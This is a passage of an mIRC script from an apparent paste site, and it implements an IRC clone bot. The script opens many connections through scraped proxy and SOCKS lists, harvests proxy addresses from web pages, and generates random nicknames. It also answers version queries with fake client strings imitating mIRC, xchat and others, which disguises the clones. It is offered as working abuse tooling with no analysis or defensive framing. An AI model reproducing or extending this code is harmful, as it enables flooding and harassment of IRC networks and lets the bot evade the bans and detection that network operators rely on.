- :Again
- Var %R = $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z)
- If ($Sock($+(Clone.,$Did(Clone,6),.,%R))) { Goto Again }
- If ($Did(Clone,6) == Normal) { SockOpen Clone.Normal. $+ %R $Did(Clone,2) $Did(Clone,4) }
- If ($Did(Clone,6) == Proxy) { SockOpen $+(Clone.Proxy.,%R) $Did(Clone,34,%Clone.List) }
- If ($Did(Clone,6) == Socks4) { SockOpen $+(Clone.Socks4.,%R) $Did(Clone,34,%Clone.List) }
- If ($Did(Clone,6) == Socks5) { SockOpen $+(Clone.Socks5.,%R) $Did(Clone,34,%Clone.List) }
- If ($Did(Clone,6) == Socks4&5) { SockOpen $+(Clone.Socks4.,%R) $Did(Clone,34,%Clone.List) | SockOpen $+(Clone.Socks5.,%R) $Did(Clone,34,%Clone.List) }
- Inc %Clone.List
- Did -o Clone 25 1 $Sock(Clone.*,0)
- }
- Dialog -l Clone.IPs {
- Title "Connected Proxies"
- Size -1 -1 254 382
- Option Pixels
- Edit "", 1, 8 8 236 320, Read Multi autovs vsbar
- Text "Number of Connected Proxies:", 3, 8 335 147 16
- Text "0", 4, 160 335 25 16
- Button &Refresh List, 2, 8 354 235 20
- }
- On *:Dialog:Clone.IPs:Init:*: { Clone.IPs }
- On *:Dialog:Clone.IPs:SClick:2: { Clone.IPs }
- Alias Clone.IPs {
- If (!$Dialog(Clone.IPs)) { Dialog -md Clone.IPs Clone.IPs }
- Did -r Clone.IPs 1
- Var %I = 1
- While ($Sock(Clone.*,%I)) {
- If ($Sock(Clone.*,%I).Mark) && ($Sock(Clone.*,%I).Mark != 1) && (!$DidWM(Clone.IPs,1,$Sock(Clone.*,%I).IP $+ : $+ $Sock(Clone.*,%I).Port)) {
- Did -i Clone.IPs 1 1 $Sock(Clone.*,%I).IP $+ : $+ $Sock(Clone.*,%I).Port
- }
- Inc %I
- }
- var %P = $Did(Clone.IPs,1).lines - 1
- Did -o Clone.IPs 4 1 %P
- }
- on *:SockOpen:CloneGet.*: {
- SockWrite -n $SockName GET %Clone.Get.EXT. [ $+ [ $Gettok($SockName,2,46) ] ] HTTP/1.0
- SockWrite -n $SockName Accept: *
- SockWrite -n $SockName Host: www. $+ %Clone.Get.URL. [ $+ [ $Gettok($SockName,2,46) ] ]
- SockWrite -n $SockName Connection: *
- SockWrite -n $SockName
- Unset %Clone.Get.EXT. [ $+ [ $Gettok($SockName,2,46) ] ]
- Unset %Clone.Get.URL. [ $+ [ $Gettok($SockName,2,46) ] ]
- }
- on *:SockRead:CloneGet.*: {
- SockRead %R
- If $WildTok(%R,*.*.*.*:*,1,32) && ($Remove($WildTok(%R,*.*.*.*:*,1,32),$Chr(46),$Chr(58)) isnum) {
- Did -a Clone 1103 $WildTok(%R,*.*.*.*:*,1,32)
- Did -ra Clone 1113 $Calc($Did(Clone,1113) + 1)
- }
- Unset %R
- }
- Alias SockQueue {
- If ($Sock(CloneGet.*,0) <= 6) { SockOpen $1- }
- Else { Set %Clone.Queue. [ $+ [ $Rand(1,9999999) ] ] $1- }
- }
- On *:SockClose:CloneGet.* {
- If ($Var(%Clone.Queue.*,1)) {
- SockOpen $Var(%Clone.Queue.*,1).Value
- Unset $Var(%Clone.Queue.*,1)
- }
- Did -ra Clone 1111 $Calc($Did(Clone,1111) + 1)
- }
- Alias RandNick {
- If ($1 == 3) { Return $R(A,F) $+ $R(g,m) $+ $R(N,W) }
- If ($1 == 4) { Return $R(a,d) $+ $R(h,l) $+ $R(M,P) $+ $R(Q,Z) }
- If ($1 == 5) { Return $R(B,R) $+ $R(p,w) $+ $R(a,z) $+ $R(c,h) $+ $R(n,t) }
- If ($1 == 6) { Return $R(s,w) $+ $R(f,k) $+ $R(m,w) $+ $R(e,j) $+ $R(A,Z) $+ $R(t,z) }
- If ($1 == 7) { Return $R(v,z) $+ $R(I,O) $+ $R(P,T) $+ $R(w,z) $+ $R(q,w) $+ $R(j,n) $+ $R(o,w) }
- If ($1 == 8) { Return $R(d,s) $+ $R(K,W) $+ $R(S,W) $+ $R(G,R) $+ $R(D,S) $+ $R(W,z) $+ $R(q,z) $+ $R(f,u) }
- If ($1 == 9) { Return $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(A,Z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(A,Z) }
- }
- Alias VReply {
- If ($1 == 1) { Return mIRC32 v5.9 K.Mardam-Bey }
- If ($1 == 2) { Return mIRC32 v5.91 K.Mardam-Bey }
- If ($1 == 3) { Return mIRC32 v5.71 K.Mardam-Bey }
- If ($1 == 4) { Return mIRC 6.01 Khaled Mardam-Bay }
- If ($1 == 5) { Return mIRC 6.02 Khaled Mardam-Bay }
- If ($1 == 6) { Return mIRC 6.03 Khaled Mardam-Bay }
- If ($1 == 7) { Return mIRC v6.12 Khaled Mardam-Bey }
- If ($1 == 8) { Return mIRC v6.14 Khaled Mardam-Bey }
- If ($1 == 9) { Return mIRC v6.15 Khaled Mardam-Bey }
- If ($1 == 10) { Return mIRC v6.16 Khaled Mardam-Bey }
- If ($1 == 11) { Return xchat 1.8.1 Linux 2.4.7-10 [i686/451MHz] }
- If ($1 == 12) { Return xchat 2.0.7 Linux 2.6.5-1.358 [i686/3.01GHz] }
- If ($1 == 13) { Return xchat 1.8.9 Linux 2.4.9-e.35smp [i686/1667MHz/SMP] }
- If ($1 == 14) { Return xchat 2.0.7 Linux 2.6.5-7.104-default [i686/1.41GHz] }
- If ($1 == 15) { Return PnP 4.22 – http://www.pairc.com/ }
- If ($1 == 16) { Return mIRC32 v5.9 K.Mardam-Bey }
- If ($1 == 17) { Return JedIrc v3.2.7 on (Nokia5530c-2/31.0.005/sw_platform=S60;sw_platform_version=5.0;java_build_version=1.4.43) }
- If ($1 == 18) { Return BitchX-1.1-final+ by panasync - Linux 2.6.18-164.15.1.el5xen : Keep it to yourself! }
- If ($1 == 19) { Return sing Away System v0.20 (by Master) :: Powered by Disfunctional-studios :: http://www.mahdkoosh.com :: }
- If ($1 == 20) { Return mIRC v6.32 Khaled Mardam-Bey }
- If ($1 == 21) { Return mIRC Anonymous Script 3H }
- If ($1 == 22) { Return xchat 2.8.9 Windows 5.1 [i686/1,46GHz] }
- If ($1 == 23) { Return lightIRC.com 1.1 Build 30, Mrz 19 2011 11:48 on Windows 7 }
- If ($1 == 24) { Return http://www.mibbit.com ajax IRC Client:3716:3716 }
- If ($1 == 25) { Return 13CPS By Amit - 4C7omplete 4P7rotection 4S7ystem 4B7y 4a7mit 4N7ick 4u7ber 4@ D7ALnet 4E7mail:- 4amit079815@4yahoo7.com9 v7.0 }
- If ($1 == 26) { Return xchat 1.8.1 Linux 2.4.7-10 [i686/451MHz] }
- If ($1 == 27) { Return xchat 2.0.7 Linux 2.6.5-1.358 [i686/3.01GHz] }
- If ($1 == 28) { Return xchat 1.8.9 Linux 2.4.9-e.35smp [i686/1667MHz/SMP] }
- If ($1 == 29) { Return xchat 2.0.7 Linux 2.6.5-7.104-default [i686/1.41GHz] }
- If ($1 == 30) { Return PnP 4.22 - http://pelet.at.ua/ }
- If ($1 == 31) { Return JedIrc v3.2.7 on (NokiaN82/20.0.062) }
- If ($1 == 32) { Return LudrioScript v.1.6 By DJ-Maggi @ QuakeNet - Website: http://www.ludrio.com }
- If ($1 == 33) { Return mIRC v7.19 Khaled Mardam-Bey }
- If ($1 == 34) { Return JedIrc v3.2.7 on (NokiaC5-03/11.0.024/sw_platform=S60;sw_platform_version=5.0;java_build_version=1.4.43) }
- If ($1 == 35) { Return mIRC v6.12 Khaled Mardam-Bey }
- If ($1 == 36) { Return JedIrc v3.2.7 on (SonyEricssonK770i/R8BC004) }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement